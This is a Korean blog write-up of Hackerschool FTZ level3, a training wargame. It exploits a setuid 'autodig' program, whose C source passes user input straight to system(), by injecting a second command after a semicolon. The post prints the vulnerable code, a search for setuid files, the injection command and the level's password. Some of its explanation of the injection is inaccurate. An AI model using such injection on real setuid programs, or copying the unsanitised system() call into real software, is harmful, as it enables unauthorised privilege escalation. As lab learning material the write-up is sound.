티스토리 뷰
level3를 풀어보겠다.
[level3@ftz level3]$
level3에 접속하였으니 ls -al 을 쳐서 파일과 디렉토리를 확인을 하면
[level3@ftz level3]$ ls -al
total 80
drwxr-xr-x 4 root level3 4096 May 7 2002 .
drwxr-xr-x 34 root root 4096 Sep 10 2011 ..
-rw------- 1 root root 1 Jan 15 2010 .bash_history
-rw-r--r-- 1 root root 24 Feb 24 2002 .bash_logout
-rw-r--r-- 1 root root 224 Feb 24 2002 .bash_profile
-rw-r--r-- 1 root root 151 Feb 24 2002 .bashrc
-rw-r--r-- 1 root root 400 Sep 24 2000 .cshrc
-rw-r--r-- 1 root root 4742 Sep 24 2000 .emacs
-r--r--r-- 1 root root 319 Sep 24 2000 .gtkrc
-rw-r--r-- 1 root root 100 Sep 24 2000 .gvimrc
-rw-r--r-- 1 root root 543 Nov 26 2000 hint
-rw-r--r-- 1 root root 226 Sep 24 2000 .muttrc
-rw-r--r-- 1 root root 367 Sep 24 2000 .profile
drwxr-xr-x 2 root level3 4096 Feb 24 2002 public_html
drwxrwxr-x 2 root level3 4096 Jan 15 2009 tmp
-rw-r--r-- 1 root root 1 May 7 2002 .viminfo
-rw-r--r-- 1 root root 4145 Sep 24 2000 .vimrc
-rw-r--r-- 1 root root 245 Sep 24 2000 .Xdefaults
hint 라는 파일이 있다.
hint 라는 파일을 읽어 보면
[level3@ftz level3]$ cat hint
다음 코드는 autodig의 소스이다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv){
char cmd[100];
if( argc!=2 ){
printf( "Auto Digger Version 0.9\n" );
printf( "Usage : %s host\n", argv[0] );
exit(0);
}
strcpy( cmd, "dig @" );
strcat( cmd, argv[1] );
strcat( cmd, " version.bind chaos txt");
system( cmd );
}
이를 이용하여 level4의 권한을 얻어라.
more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?
그 전 레벨과는 다르게 정말 길다.
strcpy, strcat, system 함수가 보인다. system() 함수는 시스템에 명령을 실행할 때 사용하는 함수다. c언어, 자바, 파이썬, PHP, 펄 등 여러가지 프로그래밍언어에서 system() 함수를 지원한다.
우선 이 문제를 풀기 위해서는 nslookup과 dig에 대해 알아야 한다.
nslookup은 도메인 서버의 IP 주소를 확인하는 프로그램이다. nslookup <IP를 알고싶은 도메인>으로 쓴다. dig는 유닉스 계열에 탑재되어 있는 프로그램으로 nslookup과 동일한 역할을 수행한다.
위의 c파일을 분석해보자.
1. strcpy를 이용해 cmd 배열에 "dig @" 문자열을 넣는다.
2 ."dig @" 문자열 뒤에 autodig 명령어 다음에 입력된 문자열을 붙인다.
3. "dig @입력받은 문자열" 뒤에 " version.bind chaos txt"라는 명령어 문자열이 조합된다.
그럼 힌트에서 제시된 autodig 파일을 찾아보자.
[level3@ftz level3]$ find / -perm +6000 -user level4 2>/dev/null
/bin/autodig
/bin/autodig를 실행시켜보면
[level3@ftz level3]$ /bin/autodig
Auto Digger Version 0.9
Usage : /bin/autodig host
argv 인자를 1개 받지 않을때의 출력값이 나온다.
more hint 부분에 힌트 두가지를 살펴보면
- 동시에 여러 명령어를 사용하려면? " ; "을 사용하여 여러 명령어를 전달하는 것이고
- 문자열 형태로 명령어를 전달하려면? 큰따옴표를 이용해 문자열 형태로 명령어를 전달한다.
setuid를이용해 bin/bash 디렉토리로 들어간 후, 비밀번호를 얻어낼 my-pass 명령을 실행하면 된다.
"/bin/bash;my-pass" 이렇게 입력하면 된다는 것이다.
[level3@ftz level3]$ /bin/autodig "/bin/bash;my-pass"
dig: Couldn't find server '/bin/bash': Name or service not known
Level4 Password is "suck my brain".
level4의 비밀번호를 얻었다!
노트북을 포맷시키는라 올리지 못하였다. 그리고 이번 문제를 풀면서 여러 자료를 뒤적거려도 보고 인터넷을 돌아다니면서 자료를 모아보았는데 아직 너무 어려운거 같다. 지금부터 ftz 문제 풀이는 단계를 전부 이해한 후 천천히 텀을 가지며 올리고 C 자료를 올려보겠다.
'Pwnable > FTZ level' 카테고리의 다른 글
[hackerschool FTZ] level6 (0) | 2016.12.27 |
---|---|
[hackerschool FTZ] level5 (0) | 2016.12.27 |
[hackerschool FTZ] level4 (0) | 2016.12.26 |
[hackerschool FTZ] level2 (0) | 2016.11.10 |
[hackerschool FTZ] level1 (0) | 2016.11.09 |